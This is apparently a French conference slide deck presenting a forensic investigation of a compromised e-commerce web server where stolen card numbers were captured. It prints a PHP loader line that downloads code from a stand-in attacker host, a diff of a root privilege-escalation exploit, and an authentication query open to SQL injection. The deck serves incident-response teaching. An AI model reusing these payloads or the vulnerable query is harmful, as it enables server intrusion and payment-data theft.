Incident sur serveur Web

Pierre-Yves Bonnetain
pyb@ba-consultants.fr

B&A Consultants
BP 70024 – 31330 Grenade-sur-Garonne

OSSIR – ReSIST
Mardi 16 novembre 2010

Environnement général

- Entreprise faisant du commerce électronique
- Service web développé à façon par fournisseur, sur base d'un outil spécifique de ce dernier
- Serveurs hébergés par tierce partie
- Transferts automatisés (2 fois par jour) entre front-office Web et back office de traitement
- Facturation/encaissement liés à l'expédition des produits.

B&A CONSULTANTS SECURITE INFORMATIQUE

Règlements en ligne

Pas de système de règlement bancaire externe :

- Le serveur Web collecte les informations de règlement (transaction SSL),
- les chiffre localement (clé publique) et
- les stocke.
- Le back-office récupère les informations chiffrées,
- les déchiffre (clé privée) et
- les traite.

Risques

Surtout liés au traitement des numéros par l'entreprise (détournement, indélicatesse interne).
Sauf problème en amont sur serveur Web.

Détails importants

- Flux quotidien supérieur à la centaine de commandes
- Système critique pour l'entreprise
- Fournisseur de l'outil n'existe plus
- Pas de maîtrise interne du système
- Pas de copie du code source (sauf sur le serveur)
- Pas de protections particulière sur le serveur Web
- Pas de maintenance/mise à jour du système d'exploitation

B&A CONSULTANTS SECURITE INFORMATIQUE

Incidents signalés

- Ruptures de stock et réapprovisionnements ⇒ mise en attente de commandes (± trois semaines)
- Déblocage des commandes suite arrivée des produits
- Constat : nombreux rejets de cartes bancaires en opposition

Le service client est au front

Statistiques, habitudes, simple vigilance... Ce sont les utilisateurs (non-techniciens) qui lèvent l'alarme.

Crainte d'un incident sur le front-office **ou** d'une indélicatesse interne.

Analyse du système

- Impossible d'arrêter la machine
- Impossible de faire une copie du disque ou de la demander à l'hébergeur
- Difficile de se rendre chez l'hébergeur
- Analyse à chaud, au travers du réseau
- On ne voit que ce que le système veut nous montrer

En cas de rootkit

Nous n'aurons probablement pas beaucoup d'indices.

Examen de l'arborescence applicative

Pas de référence

On ne peut comparer les sources du serveur Web. . .

Examen des dates de modification des fichiers applicatifs

- Nombreux fichiers modifiés depuis moins de six semaines
- Liste fournie aux webmestres, qui éliminent ceux qu'ils ont créés (opérations marketing spéciales, etc.)
- Reste une poignée de fichiers, correspondent à des classes d'objets PHP
- Examen du code, présence de fonctions écrivant les numéros de CB reçus dans des fichiers.

Presque une bonne nouvelle

Cela semble éliminer l'indélicatesse interne.

Fichiers mal venus

Premier signal d'un problème : fichiers « bizarres » dans `/tmp/.enl`

```
1 -rwxr-xr-x  1 apache apache  6776 07:43 e2
2 -rw-r--r--  1 apache apache  9769 07:43 e2.c
3 -rw-r--r--  1 apache apache    55 08:11 zz.txt
```

- `e2.c` variation de `linux-sendpage.c` (Rise Security, 2009).
- Exploit local, élévation de privilèges
- Fournit un shell root
- Fichiers appartiennent à `apache` ⇒ passé via le serveur Web ?

Différences avec l'original

```
*** e2.c
--- linux-sendpage.c
***************
*** 368,374 ****
          sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
!         execl("/bin/bash", "bash", "/tmp/.enl/zz.txt", NULL);
          exit(EXIT_SUCCESS);
    }
--- 368,374 ----
          sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
!         execl("/bin/sh", "sh", "-i", NULL);
          exit(EXIT_SUCCESS);
    }
```

Plutôt que donner un shell root, exécute le script `/tmp/.enl/zz.txt`.

Vérification

```
1 $ cat ba.txt
2 id
3 $ sh ba.txt
4 uid=590(pyb) gid=590(pyb) groups=10(wheel),590(pyb)
5 $ ./ba-e2
6 uid=0(root) gid=0(root) groups=10(wheel),590(pyb)
```

Game over

Système potentiellement totalement compromis.

Manque de cohérence

Système compromis, pas de traces autres, rootkit, furtivité...
pourquoi ces fichiers sont-ils restés ?

Et le point d'entrée ?

Question importante

Comment ces programmes sont-ils arrivés là ? Comment le code applicatif a-t-il été altéré ?

Autant le savoir, puisqu'il va falloir réinstaller une machine (non vulnérable).
Si c'est pour se faire de nouveau démolir, ce n'est pas très utile.

- Trouver le ou les points d'entrée
- Les fermer ou les bloquer

Un indice

Tous les fichiers modifiés ou trouvés appartiennent à `apache`.

Journaux du serveur web

- Recherche de traces d'injections (SQL ou autres).
- Pas déçus du résultat : tests venants Croatie, Vietnam, Chine, USA...
- Une partie se terminant en `404 Not Found`
- Mais de très nombreux en `200 OK`
- Injections SQL trivialement confirmées en examinant le code

Une remarque

Si seulement injection SQL, ne répond pas vraiment à nos interrogations ⇒ injections de commandes, accès au système de fichiers ? ? ?

Nettoyage par le vide

- Identification dans les journaux des requêtes « légitimes » et nettoyage progressif
- C'est long et peu passionnant, mais...
- Détection requête `GET` sur un fichier `tar.gz`, code HTTP 200 `OK`, taille plusieurs dizaines de Mo.
- Recherches des requêtes associées cette adresse IP.
- Identification de deux « points d'entrée » : fichiers PHP déposés sur le système : un chargeur, et un webshell.
- Identification d'autres adresses IP ayant activé le chargeur ou le webshell

Le chargeur

Code PHP téléchargeant et installant sur le serveur un autre programme PHP. Extrait :

```
1 <? php error_reporting(6143);
2    ini_set('display_errors', 'On');
3    file_put_contents('abcd.php',
4       file_get_contents('http://le.mechant.ru/abcd.php'))
5 ?>
```

On n'a pas tout perdu

Adresse d'un serveur auquel l'agresseur a accès (ou qu'il a piraté). En Russie.

Le webshell

- Ancienne version de `KA_ushell`
- Modifié pour éliminer l'authentification
- Fonctions proposées :
  - Accès à l'interpréteur de commandes
  - Accès à l'interpréteur PHP
  - Envoi de fichiers sur le serveur

Toujours une question

Comment le premier programme (le chargeur) est-il arrivé là ?

Analyse des requêtes

- Deux adresses IP ont invoqué le chargeur
- Extraction de toutes les requêtes provenant de ces adresses
- Requêtes POST sur des URLs administratives, code 200 `OK`
- Fonctions permettant de modifier certains répertoires du serveur web
- Edition limitée (code intégré au cadre de l'application)
- Accès protégé par compte et mot de passe (applicatif)

Trois possibilités

Indélicatesse d'un administrateur ou ancien collaborateur, vol d'un compte/mot de passe, contournement de l'authentification.

Routine d'authentification

`$login` et `$pass` contiennent les données issues directement de la requête de l'internaute.

```
1  if ($login && $pass) {
2      $query = "SELECT id FROM $this->identifiants
3                WHERE login = '$login'
4                AND password LIKE '$pass'";
5      $this->sql_query($query);
6      ...
```

On aime bien aussi

La clause `LIKE` pour le mot de passe.

Tentative de reconstruction du scénario

1. Contournement de l'authentification pour l'accès administratif (injection SQL classique, ou mot de passe %)
2. Création d'un fichier PHP contenant le code du chargeur
3. Déclenchement d'une requête associée à ce nouveau fichier
4. Appel du webshell

Le webshell a été utilisé

- pour installer les programmes dans `/tmp/.enl`
- créer un tar.gz de tout les fichiers source du serveur
- installer sélectivement des fichiers modifiés (enregistrement informations de règlement)

Intérêt de l'élévation de privilèges ?

Pas encore de réponse...

Autre possibilité

Les traces relevées correspondent à plusieurs attaques et plusieurs attaquants indépendants.

Un peu vulnérable, n'est-il pas ?

Application semi-spécifique sérieusement fragile :

- Injections SQL partout dans le code
- Contournement de l'authentification d'accès aux fonctions administratives
- Arborescence web modifiable pour l'utilisateur `apache`
- Récupération d'informations sensibles (numéros de CB), même si chiffrement local

Environnement d'exploitation plutôt léger :

- Pas de supervision du fonctionnement
- Pas de protections au niveau système ou applicatif
- Peu de filtres réseau en sortie du système

Pour le client

- Perte de confiance dans son outil
- Nouveaux développements déjà en cours, mais pas terminés
- Réinstallation d'un système, corrections code, dans l'urgence.
- Fenêtre d'inconfort sur plusieurs mois.
- Effort de supervision, contrôles réguliers, etc.

B&A CONSULTANTS SECURITE INFORMATIQUE